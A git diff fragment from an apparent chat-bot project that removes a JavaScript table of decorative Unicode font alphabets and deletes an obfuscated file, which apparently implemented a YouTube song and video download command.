- 1:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ą","b":"ც","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɠ","h":"ɧ","i":"ı","j":"ʝ","k":"ƙ","l":"Ɩ","m":"ɱ","n":"ŋ","o":"ơ","p":"℘","q":"զ","r":"ཞ","s":"ʂ","t":"ɬ","u":"ų","v":"۷","w":"ῳ","x":"ҳ","y":"ყ","z":"ʑ","A":"ą","B":"ც","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɠ","H":"ɧ","I":"ı","J":"ʝ","K":"ƙ","L":"Ɩ","M":"ɱ","N":"ŋ","O":"ơ","P":"℘","Q":"զ","R":"ཞ","S":"ʂ","T":"ɬ","U":"ų","V":"۷","W":"ῳ","X":"ҳ","Y":"ყ","Z":"ʑ" },
- 2:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ム","b":"乃","c":"ᄃ","d":"り","e":"乇","f":"キ","g":"ム","h":"ん","i":"ノ","j":"フ","k":"ズ","l":"レ","m":"ᄊ","n":"刀","o":"の","p":"ア","q":"ゐ","r":"尺","s":"丂","t":"イ","u":"ひ","v":"√","w":"W","x":"メ","y":"リ","z":"乙","A":"ム","B":"乃","C":"ᄃ","D":"り","E":"乇","F":"キ","G":"ム","H":"ん","I":"ノ","J":"フ","K":"ズ","L":"レ","M":"ᄊ","N":"刀","O":"の","P":"ア","Q":"ゐ","R":"尺","S":"丂","T":"イ","U":"ひ","V":"√","W":"W","X":"メ","Y":"リ","Z":"乙" },
- 3:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"卂","b":"乃","c":"匚","d":"ᗪ","e":"乇","f":"千","g":"Ꮆ","h":"卄","i":"丨","j":"フ","k":"Ҝ","l":"ㄥ","m":"爪","n":"几","o":"ㄖ","p":"卩","q":"Ɋ","r":"尺","s":"丂","t":"ㄒ","u":"ㄩ","v":"ᐯ","w":"山","x":"乂","y":"ㄚ","z":"乙","A":"卂","B":"乃","C":"匚","D":"ᗪ","E":"乇","F":"千","G":"Ꮆ","H":"卄","I":"丨","J":"フ","K":"Ҝ","L":"ㄥ","M":"爪","N":"几","O":"ㄖ","P":"卩","Q":"Ɋ","R":"尺","S":"丂","T":"ㄒ","U":"ㄩ","V":"ᐯ","W":"山","X":"乂","Y":"ㄚ","Z":"乙" },
- 4:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"🄰","b":"🄱","c":"🄲","d":"🄳","e":"🄴","f":"🄵","g":"🄶","h":"🄷","i":"🄸","j":"🄹","k":"🄺","l":"🄻","m":"🄼","n":"🄽","o":"🄾","p":"🄿","q":"🅀","r":"🅁","s":"🅂","t":"🅃","u":"🅄","v":"🅅","w":"🅆","x":"🅇","y":"🅈","z":"🅉","A":"🄰","B":"🄱","C":"🄲","D":"🄳","E":"🄴","F":"🄵","G":"🄶","H":"🄷","I":"🄸","J":"🄹","K":"🄺","L":"🄻","M":"🄼","N":"🄽","O":"🄾","P":"🄿","Q":"🅀","R":"🅁","S":"🅂","T":"🅃","U":"🅄","V":"🅅","W":"🅆","X":"🅇","Y":"🅈","Z":"🅉" },
- 5:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Ꮧ","b":"Ᏸ","c":"ፈ","d":"Ꮄ","e":"Ꮛ","f":"Ꭶ","g":"Ꮆ","h":"Ꮒ","i":"Ꭵ","j":"Ꮰ","k":"Ꮶ","l":"Ꮭ","m":"Ꮇ","n":"Ꮑ","o":"Ꭷ","p":"Ꭾ","q":"Ꭴ","r":"Ꮢ","s":"Ꮥ","t":"Ꮦ","u":"Ꮼ","v":"Ꮙ","w":"Ꮗ","x":"ጀ","y":"Ꭹ","z":"ፚ","A":"Ꮧ","B":"Ᏸ","C":"ፈ","D":"Ꮄ","E":"Ꮛ","F":"Ꭶ","G":"Ꮆ","H":"Ꮒ","I":"Ꭵ","J":"Ꮰ","K":"Ꮶ","L":"Ꮭ","M":"Ꮇ","N":"Ꮑ","O":"Ꭷ","P":"Ꭾ","Q":"Ꭴ","R":"Ꮢ","S":"Ꮥ","T":"Ꮦ","U":"Ꮼ","V":"Ꮙ","W":"Ꮗ","X":"ጀ","Y":"Ꭹ","Z":"ፚ" },
- 6:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ᗩ","b":"ᗷ","c":"ᑕ","d":"ᗪ","e":"E","f":"ᖴ","g":"G","h":"ᕼ","i":"I","j":"ᒍ","k":"K","l":"ᒪ","m":"ᗰ","n":"ᑎ","o":"O","p":"ᑭ","q":"ᑫ","r":"ᖇ","s":"ᔕ","t":"T","u":"ᑌ","v":"ᐯ","w":"ᗯ","x":"᙭","y":"Y","z":"ᘔ","A":"ᗩ","B":"ᗷ","C":"ᑕ","D":"ᗪ","E":"E","F":"ᖴ","G":"G","H":"ᕼ","I":"I","J":"ᒍ","K":"K","L":"ᒪ","M":"ᗰ","N":"ᑎ","O":"O","P":"ᑭ","Q":"ᑫ","R":"ᖇ","S":"ᔕ","T":"T","U":"ᑌ","V":"ᐯ","W":"ᗯ","X":"᙭","Y":"Y","Z":"ᘔ" },
- 7:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ǟ","b":"ɮ","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɢ","h":"ɦ","i":"ɨ","j":"ʝ","k":"ӄ","l":"ʟ","m":"ʍ","n":"ռ","o":"օ","p":"ք","q":"զ","r":"ʀ","s":"ֆ","t":"ȶ","u":"ʊ","v":"ʋ","w":"ա","x":"Ӽ","y":"ʏ","z":"ʐ","A":"ǟ","B":"ɮ","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɢ","H":"ɦ","I":"ɨ","J":"ʝ","K":"ӄ","L":"ʟ","M":"ʍ","N":"ռ","O":"օ","P":"ք","Q":"զ","R":"ʀ","S":"ֆ","T":"ȶ","U":"ʊ","V":"ʋ","W":"ա","X":"Ӽ","Y":"ʏ","Z":"ʐ" },
- 8:{"0":"𝟶","1":"𝟷","2":"𝟸","3":"𝟹","4":"𝟺","5":"𝟻","6":"𝟼","7":"𝟽","8":"𝟾","9":"𝟿","a":"𝚊","b":"𝚋","c":"𝚌","d":"𝚍","e":"𝚎","f":"𝚏","g":"𝚐","h":"𝚑","i":"𝚒","j":"𝚓","k":"𝚔","l":"𝚕","m":"𝚖","n":"𝚗","o":"𝚘","p":"𝚙","q":"𝚚","r":"𝚛","s":"𝚜","t":"𝚝","u":"𝚞","v":"𝚟","w":"𝚠","x":"𝚡","y":"𝚢","z":"𝚣","A":"𝙰","B":"𝙱","C":"𝙲","D":"𝙳","E":"𝙴","F":"𝙵","G":"𝙶","H":"𝙷","I":"𝙸","J":"𝙹","K":"𝙺","L":"𝙻","M":"𝙼","N":"𝙽","O":"𝙾","P":"𝙿","Q":"𝚀","R":"𝚁","S":"𝚂","T":"𝚃","U":"𝚄","V":"𝚅","W":"𝚆","X":"𝚇","Y":"𝚈","Z":"𝚉" },
- 9:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝙖","b":"𝙗","c":"𝙘","d":"𝙙","e":"𝙚","f":"𝙛","g":"𝙜","h":"𝙝","i":"𝙞","j":"𝙟","k":"𝙠","l":"𝙡","m":"𝙢","n":"𝙣","o":"𝙤","p":"𝙥","q":"𝙦","r":"𝙧","s":"𝙨","t":"𝙩","u":"𝙪","v":"𝙫","w":"𝙬","x":"𝙭","y":"𝙮","z":"𝙯","A":"𝘼","B":"𝘽","C":"𝘾","D":"𝘿","E":"𝙀","F":"𝙁","G":"𝙂","H":"𝙃","I":"𝙄","J":"𝙅","K":"𝙆","L":"𝙇","M":"𝙈","N":"𝙉","O":"𝙊","P":"𝙋","Q":"𝙌","R":"𝙍","S":"𝙎","T":"𝙏","U":"𝙐","V":"𝙑","W":"𝙒","X":"𝙓","Y":"𝙔","Z":"𝙕" },
- 10:{"0":"𝟎","1":"𝟏","2":"𝟐","3":"𝟑","4":"𝟒","5":"𝟓","6":"𝟔","7":"𝟕","8":"𝟖","9":"𝟗","a":"𝐚","b":"𝐛","c":"𝐜","d":"𝐝","e":"𝐞","f":"𝐟","g":"𝐠","h":"𝐡","i":"𝐢","j":"𝐣","k":"𝐤","l":"𝐥","m":"𝐦","n":"𝐧","o":"𝐨","p":"𝐩","q":"𝐪","r":"𝐫","s":"𝐬","t":"𝐭","u":"𝐮","v":"𝐯","w":"𝐰","x":"𝐱","y":"𝐲","z":"𝐳","A":"𝐀","B":"𝐁","C":"𝐂","D":"𝐃","E":"𝐄","F":"𝐅","G":"𝐆","H":"𝐇","I":"𝐈","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝐌","N":"𝐍","O":"𝐎","P":"𝐏","Q":"𝐐","R":"𝐑","S":"𝐒","T":"𝐓","U":"𝐔","V":"𝐕","W":"𝐖","X":"𝐗","Y":"𝐘","Z":"𝐙" },
- 11:{"0":"𝟬","1":"𝟭","2":"𝟮","3":"𝟯","4":"𝟰","5":"𝟱","6":"𝟲","7":"𝟳","8":"𝟴","9":"𝟵","a":"𝗮","b":"𝗯","c":"𝗰","d":"𝗱","e":"𝗲","f":"𝗳","g":"𝗴","h":"𝗵","i":"𝗶","j":"𝗷","k":"𝗸","l":"𝗹","m":"𝗺","n":"𝗻","o":"𝗼","p":"𝗽","q":"𝗾","r":"𝗿","s":"𝘀","t":"𝘁","u":"𝘂","v":"𝘃","w":"𝘄","x":"𝘅","y":"𝘆","z":"𝘇","A":"𝗔","B":"𝗕","C":"𝗖","D":"𝗗","E":"𝗘","F":"𝗙","G":"𝗚","H":"𝗛","I":"𝗜","J":"𝗝","K":"𝗞","L":"𝗟","M":"𝗠","N":"𝗡","O":"𝗢","P":"𝗣","Q":"𝗤","R":"𝗥","S":"𝗦","T":"𝗧","U":"𝗨","V":"𝗩","W":"𝗪","X":"𝗫","Y":"𝗬","Z":"𝗭" },
- 12: {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝘢","b":"𝘣","c":"𝘤","d":"𝘥","e":"𝘦","f":"𝘧","g":"𝘨","h":"𝘩","i":"𝘪","j":"𝘫","k":"𝘬","l":"𝘭","m":"𝘮","n":"𝘯","o":"𝘰","p":"𝘱","q":"𝘲","r":"𝘳","s":"𝘴","t":"𝘵","u":"𝘶","v":"𝘷","w":"𝘸","x":"𝘹","y":"𝘺","z":"𝘻","A":"𝘈","B":"𝘉","C":"𝘊","D":"𝘋","E":"𝘌","F":"𝘍","G":"𝘎","H":"𝘏","I":"𝘐","J":"𝘑","K":"𝘒","L":"𝘓","M":"𝘔","N":"𝘕","O":"𝘖","P":"𝘗","Q":"𝘘","R":"𝘙","S":"𝘚","T":"𝘛","U":"𝘜","V":"𝘝","W":"𝘞","X":"𝘟","Y":"𝘠","Z":"𝘡" },
- 13:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"Ⴆ","c":"ƈ","d":"ԃ","e":"ҽ","f":"ϝ","g":"ɠ","h":"ԋ","i":"ι","j":"ʝ","k":"ƙ","l":"ʅ","m":"ɱ","n":"ɳ","o":"σ","p":"ρ","q":"ϙ","r":"ɾ","s":"ʂ","t":"ƚ","u":"υ","v":"ʋ","w":"ɯ","x":"x","y":"ყ","z":"ȥ","A":"A","B":"B","C":"C","D":"D","E":"E","F":"F","G":"G","H":"H","I":"I","J":"J","K":"K","L":"L","M":"M","N":"N","O":"O","P":"P","Q":"Q","R":"R","S":"S","T":"T","U":"U","V":"V","W":"W","X":"X","Y":"Y","Z":"Z" },
- 14:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"₳","b":"฿","c":"₵","d":"Đ","e":"Ɇ","f":"₣","g":"₲","h":"Ⱨ","i":"ł","j":"J","k":"₭","l":"Ⱡ","m":"₥","n":"₦","o":"Ø","p":"₱","q":"Q","r":"Ɽ","s":"₴","t":"₮","u":"Ʉ","v":"V","w":"₩","x":"Ӿ","y":"Ɏ","z":"Ⱬ","A":"₳","B":"฿","C":"₵","D":"Đ","E":"Ɇ","F":"₣","G":"₲","H":"Ⱨ","I":"ł","J":"J","K":"₭","L":"Ⱡ","M":"₥","N":"₦","O":"Ø","P":"₱","Q":"Q","R":"Ɽ","S":"₴","T":"₮","U":"Ʉ","V":"V","W":"₩","X":"Ӿ","Y":"Ɏ","Z":"Ⱬ" },
- 15:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"å","b":"ß","c":"¢","d":"Ð","e":"ê","f":"£","g":"g","h":"h","i":"ï","j":"j","k":"k","l":"l","m":"m","n":"ñ","o":"ð","p":"þ","q":"q","r":"r","s":"§","t":"†","u":"µ","v":"v","w":"w","x":"x","y":"¥","z":"z","A":"Ä","B":"ß","C":"Ç","D":"Ð","E":"È","F":"£","G":"G","H":"H","I":"Ì","J":"J","K":"K","L":"L","M":"M","N":"ñ","O":"Ö","P":"þ","Q":"Q","R":"R","S":"§","T":"†","U":"Ú","V":"V","W":"W","X":"×","Y":"¥","Z":"Z" },
- 16:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"в","c":"¢","d":"∂","e":"є","f":"ƒ","g":"g","h":"н","i":"ι","j":"נ","k":"к","l":"ℓ","m":"м","n":"η","o":"σ","p":"ρ","q":"q","r":"я","s":"ѕ","t":"т","u":"υ","v":"ν","w":"ω","x":"χ","y":"у","z":"z","A":"α","B":"в","C":"¢","D":"∂","E":"є","F":"ƒ","G":"g","H":"н","I":"ι","J":"נ","K":"к","L":"ℓ","M":"м","N":"η","O":"σ","P":"ρ","Q":"q","R":"я","S":"ѕ","T":"т","U":"υ","V":"ν","W":"ω","X":"χ","Y":"у","Z":"z" },
- 17:{"0":"⊘","1":"𝟙","2":"ϩ","3":"Ӡ","4":"५","5":"Ƽ","6":"Ϭ","7":"7","8":"𝟠","9":"९","a":"ą","b":"ҍ","c":"ç","d":"ժ","e":"ҽ","f":"ƒ","g":"ց","h":"հ","i":"ì","j":"ʝ","k":"ҟ","l":"Ӏ","m":"ʍ","n":"ղ","o":"օ","p":"ք","q":"զ","r":"ɾ","s":"ʂ","t":"է","u":"մ","v":"ѵ","w":"ա","x":"×","y":"վ","z":"Հ","A":"Ⱥ","B":"β","C":"↻","D":"Ꭰ","E":"Ɛ","F":"Ƒ","G":"Ɠ","H":"Ƕ","I":"į","J":"ل","K":"Ҡ","L":"Ꝉ","M":"Ɱ","N":"ហ","O":"ට","P":"φ","Q":"Ҩ","R":"འ","S":"Ϛ","T":"Ͳ","U":"Ա","V":"Ỽ","W":"చ","X":"ჯ","Y":"Ӌ","Z":"ɀ" },
- 18:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Λ","b":"B","c":"ᄃ","d":"D","e":"Σ","f":"F","g":"G","h":"Ή","i":"I","j":"J","k":"K","l":"ᄂ","m":"M","n":"П","o":"Ө","p":"P","q":"Q","r":"Я","s":"Ƨ","t":"Ƭ","u":"Ц","v":"V","w":"Щ","x":"X","y":"Y","z":"Z","A":"Λ","B":"B","C":"ᄃ","D":"D","E":"Σ","F":"F","G":"G","H":"Ή","I":"I","J":"J","K":"K","L":"ᄂ","M":"M","N":"П","O":"Ө","P":"P","Q":"Q","R":"Я","S":"Ƨ","T":"Ƭ","U":"Ц","V":"V","W":"Щ","X":"X","Y":"Y","Z":"Z" },
- 19:{"0":"₀","1":"₁","2":"₂","3":"₃","4":"₄","5":"₅","6":"₆","7":"₇","8":"₈","9":"₉","a":"ₐ","b":"b","c":"c","d":"d","e":"ₑ","f":"f","g":"g","h":"ₕ","i":"ᵢ","j":"ⱼ","k":"ₖ","l":"ₗ","m":"ₘ","n":"ₙ","o":"ₒ","p":"ₚ","q":"q","r":"ᵣ","s":"ₛ","t":"ₜ","u":"ᵤ","v":"ᵥ","w":"w","x":"ₓ","y":"y","z":"z","A":"ₐ","B":"B","C":"C","D":"D","E":"ₑ","F":"F","G":"G","H":"ₕ","I":"ᵢ","J":"ⱼ","K":"ₖ","L":"ₗ","M":"ₘ","N":"ₙ","O":"ₒ","P":"ₚ","Q":"Q","R":"ᵣ","S":"ₛ","T":"ₜ","U":"ᵤ","V":"ᵥ","W":"W","X":"ₓ","Y":"Y","Z":"Z","+":"₊","-":"₋",":":"₌","(":"₍",")":"₎" },
- 20:{"0":"⁰","1":"¹","2":"²","3":"³","4":"⁴","5":"⁵","6":"⁶","7":"⁷","8":"⁸","9":"⁹","a":"ᵃ","b":"ᵇ","c":"ᶜ","d":"ᵈ","e":"ᵉ","f":"ᶠ","g":"ᵍ","h":"ʰ","i":"ⁱ","j":"ʲ","k":"ᵏ","l":"ˡ","m":"ᵐ","n":"ⁿ","o":"ᵒ","p":"ᵖ","q":"q","r":"ʳ","s":"ˢ","t":"ᵗ","u":"ᵘ","v":"ᵛ","w":"ʷ","x":"ˣ","y":"ʸ","z":"ᶻ","A":"ᴬ","B":"ᴮ","C":"ᶜ","D":"ᴰ","E":"ᴱ","F":"ᶠ","G":"ᴳ","H":"ᴴ","I":"ᴵ","J":"ᴶ","K":"ᴷ","L":"ᴸ","M":"ᴹ","N":"ᴺ","O":"ᴼ","P":"ᴾ","Q":"Q","R":"ᴿ","S":"ˢ","T":"ᵀ","U":"ᵁ","V":"ⱽ","W":"ᵂ","X":"ˣ","Y":"ʸ","Z":"ᶻ","+":"⁺","-":"⁻",":":"⁼","(":"⁽",")":"⁾" },
- 21:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๒","c":"ς","d":"๔","e":"є","f":"Ŧ","g":"ﻮ","h":"ђ","i":"เ","j":"ן","k":"к","l":"ɭ","m":"๓","n":"ภ","o":"๏","p":"ק","q":"ợ","r":"г","s":"ร","t":"Շ","u":"ย","v":"ש","w":"ฬ","x":"א","y":"ץ","z":"չ","A":"ค","B":"๒","C":"ς","D":"๔","E":"є","F":"Ŧ","G":"ﻮ","H":"ђ","I":"เ","J":"ן","K":"к","L":"ɭ","M":"๓","N":"ภ","O":"๏","P":"ק","Q":"ợ","R":"г","S":"ร","T":"Շ","U":"ย","V":"ש","W":"ฬ","X":"א","Y":"ץ","Z":"չ" },
- 22:{"0":"𝟘","1":"𝟙","2":"𝟚","3":"𝟛","4":"𝟜","5":"𝟝","6":"𝟞","7":"𝟟","8":"𝟠","9":"𝟡","a":"𝕒","b":"𝕓","c":"𝕔","d":"𝕕","e":"𝕖","f":"𝕗","g":"𝕘","h":"𝕙","i":"𝕚","j":"𝕛","k":"𝕜","l":"𝕝","m":"𝕞","n":"𝕟","o":"𝕠","p":"𝕡","q":"𝕢","r":"𝕣","s":"𝕤","t":"𝕥","u":"𝕦","v":"𝕧","w":"𝕨","x":"𝕩","y":"𝕪","z":"𝕫","A":"𝔸","B":"𝔹","C":"ℂ","D":"𝔻","E":"𝔼","F":"𝔽","G":"𝔾","H":"ℍ","I":"𝕀","J":"𝕁","K":"𝕂","L":"𝕃","M":"𝕄","N":"ℕ","O":"𝕆","P":"ℙ","Q":"ℚ","R":"ℝ","S":"𝕊","T":"𝕋","U":"𝕌","V":"𝕍","W":"𝕎","X":"𝕏","Y":"𝕐","Z":"ℤ" },
- 23:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝖆","b":"𝖇","c":"𝖈","d":"𝖉","e":"𝖊","f":"𝖋","g":"𝖌","h":"𝖍","i":"𝖎","j":"𝖏","k":"𝖐","l":"𝖑","m":"𝖒","n":"𝖓","o":"𝖔","p":"𝖕","q":"𝖖","r":"𝖗","s":"𝖘","t":"𝖙","u":"𝖚","v":"𝖛","w":"𝖜","x":"𝖝","y":"𝖞","z":"𝖟","A":"𝕬","B":"𝕭","C":"𝕮","D":"𝕯","E":"𝕰","F":"𝕱","G":"𝕲","H":"𝕳","I":"𝕴","J":"𝕵","K":"𝕶","L":"𝕷","M":"𝕸","N":"𝕹","O":"𝕺","P":"𝕻","Q":"𝕼","R":"𝕽","S":"𝕾","T":"𝕿","U":"𝖀","V":"𝖁","W":"𝖂","X":"𝖃","Y":"𝖄","Z":"𝖅" },
- 24:{q:"🆀",w:"🆆",e:"🅴",r:"🆁",t:"🆃",y:"🆈",u:"🆄",i:"🅸",o:"🅾",p:"🅿",a:"🅰",s:"🆂",d:"🅳",f:"🅵",g:"🅶",h:"🅷",j:"🅹",k:"🅺",l:"🅻",z:"🆉",x:"🆇",c:"🅲",v:"🆅",b:"🅱",n:"🅽",m:"🅼"},
- 25:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝓪","b":"𝓫","c":"𝓬","d":"𝓭","e":"𝓮","f":"𝓯","g":"𝓰","h":"𝓱","i":"𝓲","j":"𝓳","k":"𝓴","l":"𝓵","m":"𝓶","n":"𝓷","o":"𝓸","p":"𝓹","q":"𝓺","r":"𝓻","s":"𝓼","t":"𝓽","u":"𝓾","v":"𝓿","w":"𝔀","x":"𝔁","y":"𝔂","z":"𝔃","A":"𝓐","B":"𝓑","C":"𝓒","D":"𝓓","E":"𝓔","F":"𝓕","G":"𝓖","H":"𝓗","I":"𝓘","J":"𝓙","K":"𝓚","L":"𝓛","M":"𝓜","N":"𝓝","O":"𝓞","P":"𝓟","Q":"𝓠","R":"𝓡","S":"𝓢","T":"𝓣","U":"𝓤","V":"𝓥","W":"𝓦","X":"𝓧","Y":"𝓨","Z":"𝓩" },
- 26:{"a":"𝔞","b":"𝔟","c":"𝔠","d":"𝔡","e":"𝔢","f":"𝔣","g":"𝔤","h":"𝔥","i":"𝔦","j":"𝔧","k":"𝔨","l":"𝔩","m":"𝔪","n":"𝔫","o":"𝔬","p":"𝔭","q":"𝔮","r":"𝔯","s":"𝔰","t":"𝔱","u":"𝔲","v":"𝔳","w":"𝔴","x":"𝔵","y":"𝔶","z":"𝔷","A":"𝔄","B":"𝔅","C":"ℭ","D":"𝔇","E":"𝔈","F":"𝔉","G":"𝔊","H":"ℌ","I":"ℑ","J":"𝔍","K":"𝔎","L":"𝔏","M":"𝔐","N":"𝔑","O":"𝔒","P":"𝔓","Q":"𝔔","R":"ℜ","S":"𝔖","T":"𝔗","U":"𝔘","V":"𝔙","W":"𝔚","X":"𝔛","Y":"𝔜","Z":"ℨ" },
- 27:{"`":"`","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","0":"0","-":"-",":":"=","~":"~","!":"!","@":"@","#":"#","$":"$","%":"%","^":"^","&":"&","*":"*","(":"(",")":")","_":"_","+":"+","q":"q","w":"w","e":"e","r":"r","t":"t","y":"y","u":"u","i":"i","o":"o","p":"p","[":"[","]":"]","\\":"\\","Q":"Q","W":"W","E":"E","R":"R","T":"T","Y":"Y","U":"U","I":"I","O":"O","P":"P","{":"{","}":"}","|":"|","a":"a","s":"s","d":"d","f":"f","g":"g","h":"h","j":"j","k":"k","l":"l",";":";","'":"'","A":"A","S":"S","D":"D","F":"F","G":"G","H":"H","J":"J","K":"K","L":"L",":":":","\"":"\"","z":"z","x":"x","c":"c","v":"v","b":"b","n":"n","m":"m",",":",",".":".","/":"/","Z":"Z","X":"X","C":"C","V":"V","B":"B","N":"N","M":"M","<":"<",">":">","?":"?"},
- 28:{"a":"ᴀ","b":"ʙ","c":"ᴄ","d":"ᴅ","e":"ᴇ","f":"ғ","g":"ɢ","h":"ʜ","i":"ɪ","j":"ᴊ","k":"ᴋ","l":"ʟ","m":"ᴍ","n":"ɴ","o":"ᴏ","p":"ᴘ","q":"ǫ","r":"ʀ","s":"s","t":"ᴛ","u":"ᴜ","v":"ᴠ","w":"ᴡ","x":"x","y":"ʏ","z":"ᴢ","A":"ᴀ","B":"ʙ","C":"ᴄ","D":"ᴅ","E":"ᴇ","F":"ғ","G":"ɢ","H":"ʜ","I":"ɪ","J":"ᴊ","K":"ᴋ","L":"ʟ","M":"ᴍ","N":"ɴ","O":"ᴏ","P":"ᴘ","Q":"ǫ","R":"ʀ","S":"s","T":"ᴛ","U":"ᴜ","V":"ᴠ","W":"ᴡ","X":"x","Y":"ʏ","Z":"ᴢ" },
- 29:{"a":"𝒂","b":"𝒃","c":"𝒄","d":"𝒅","e":"𝒆","f":"𝒇","g":"𝒈","h":"𝒉","i":"𝒊","j":"𝒋","k":"𝒌","l":"𝒍","m":"𝒎","n":"𝒏","o":"𝒐","p":"𝒑","q":"𝒒","r":"𝒓","s":"𝒔","t":"𝒕","u":"𝒖","v":"𝒗","w":"𝒘","x":"𝒙","y":"𝒚","z":"𝒛","A":"𝐴","B":"𝐵","C":"𝐶","D":"𝐷","E":"𝐸","F":"𝐹","G":"𝐺","H":"𝐻","I":"𝐼","J":"𝐽","K":"𝐾","L":"𝐿","M":"𝑀","N":"𝑁","O":"𝑂","P":"𝑃","Q":"𝑄","R":"𝑅","S":"𝑆","T":"𝑇","U":"𝑈","V":"𝑉","W":"𝑊","X":"𝑋","Y":"𝑌","Z":"𝑍" },
- 30:{"a":"𝛥","b":"??","c":"𝐶","d":"𝐷","e":"𝛯","f":"𝐹","g":"𝐺","h":"𝛨","i":"𝛪","j":"𝐽","k":"𝛫","l":"𝐿","m":"𝛭","n":"𝛮","o":"𝛩","p":"𝛲","q":"𝑄","r":"𝑅","s":"𝑆","t":"𝑇","u":"𝑈","v":"𝛻","w":"𝑊","x":"𝛸","y":"𝑌","z":"𝛧","A":"𝛥","B":"𝐵","C":"𝐶","D":"𝐷","E":"𝛯","F":"𝐹","G":"𝐺","H":"𝛨","I":"𝛪","J":"𝐽","K":"𝛫","L":"𝐿","M":"𝛭","N":"𝛮","O":"𝛩","P":"𝛲","Q":"𝑄","R":"𝑅","S":"𝑆","T":"𝑇","U":"𝑈","V":"𝛻","W":"𝑊","X":"𝛸","Y":"𝑌","Z":"𝛧"},
- 31:{"A":"𝚫","B":"𝚩","C":"𝐂","D":"𝐃","E":"𝚵","F":"𝐅","G":"𝐆","H":"𝚮","I":"𝚰","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝚳","N":"𝚴","O":"𝚯","P":"𝚸","Q":"𝐐","R":"𝚪","S":"𝐒","T":"𝚻","U":"𝐔","V":"𝛁","W":"𝐖","X":"𝚾","Y":"𝐘","Z":"𝚭","a":"𝚫","b":"𝚩","c":"𝐂","d":"𝐃","e":"𝚵","f":"𝐅","g":"𝐆","h":"𝚮","i":"𝚰","j":"𝐉","k":"𝐊","l":"𝐋","m":"𝚳","n":"𝚴","o":"𝚯","p":"𝚸","q":"𝐐","r":"𝚪","s":"𝐒","t":"𝚻","u":"𝐔","v":"𝛁","w":"𝐖","x":"𝚾","y":"𝐘","z":"𝚭"},
- 32:{"A":"ꪖ","B":"᥇","C":"ᥴ","D":"ᦔ","E":"ꫀ","F":"ᠻ","G":"ᧁ","H":"ꫝ","I":"ﺃ","J":"꠹","K":"ᛕ","L":"ꪶ","M":"ꪑ","N":"ꪀ","O":"ꪮ","P":"ᜣ","Q":"ꪇ","R":"᥅","S":"ᦓ","T":"ꪻ","U":"ꪊ","V":"ꪜ","W":"᭙","X":"᥊","Y":"ꪗ","Z":"ɀ","a":"ꪖ","b":"᥇","c":"ᥴ","d":"ᦔ","e":"ꫀ","f":"ᠻ","g":"ᧁ","h":"ꫝ","i":"ﺃ","j":"꠹","k":"ᛕ","l":"ꪶ","m":"ꪑ","n":"ꪀ","o":"ꪮ","p":"ᜣ","q":"ꪇ","r":"᥅","s":"ᦓ","t":"ꪻ","u":"ꪊ","v":"ꪜ","w":"᭙","x":"᥊","y":"ꪗ","z":"ɀ"},
- 33:{"ഒ":"ඉ","എ":"ᬤ","ഉ":"ຂ","ക":"ᤌ","ഗ":"ꪭ","ത":"ꫧ","ന":"ღ͢","മ്പ":"൩","വ":"൨","യ":"ᨨ͓","ര":"ᰍ","ി":"᭄","ീ":"ꪻ","ാ":"ꫂ","(":"ꪶ","ു":"⫰","്":"᷃","്":"ັ","ർ":"൪","ണ":"𑇥̅","ട":"ຮ","ട്ട":"ჴ","െ":"൭͛","ം":"◕","ഞ":"ൡ̅","േ":"ල","ൽ":"ᰢ","ന്ന":"ꢳ"},
- apply,
- list
- };
diff --git a/scs/bmwtes.js b/scs/bmwtes.js
deleted file mode 100644
index 1d8cf11..0000000
--- a/scs/bmwtes.js
+++ /dev/null
@@ -1,13 +0,0 @@
-
-/***function _0x286e(){const _0x6a0084=['found.','iBmyf','oad/ytmp4v','*Bmw\x20Just\x20','ccurred\x20wh','cWDwy','thumbnail','IfuSf','json','name','video/mp4','video','ikEoo','ch.us.kg','download_u','result','zxfxV','audio/mp4','||။||၊|||။','error','ile\x20search','author','Please\x20ins','se\x20try\x20aga','im\x20Adams*','sendMessag','\x0a\x0a\x0a>\x20©Ibra','Downloaded','WnQSJ','videos','/video\x20nam','txYdi','udio.\x20Plea','eRmuA','song','vxMiE','ynJyH','An\x20error\x20o','Successful','ohPGv','197667BrsEnA','LjbRh','AuYIq','success','\x20၊|•','\x202024*','him\x20Adams','&apikey=','ibrahimada','12832360HSkAyM','\x0a\x20Time\x20:\x20','eUvUQ','ing\x20or\x20dow','yt-search','143726LUbzN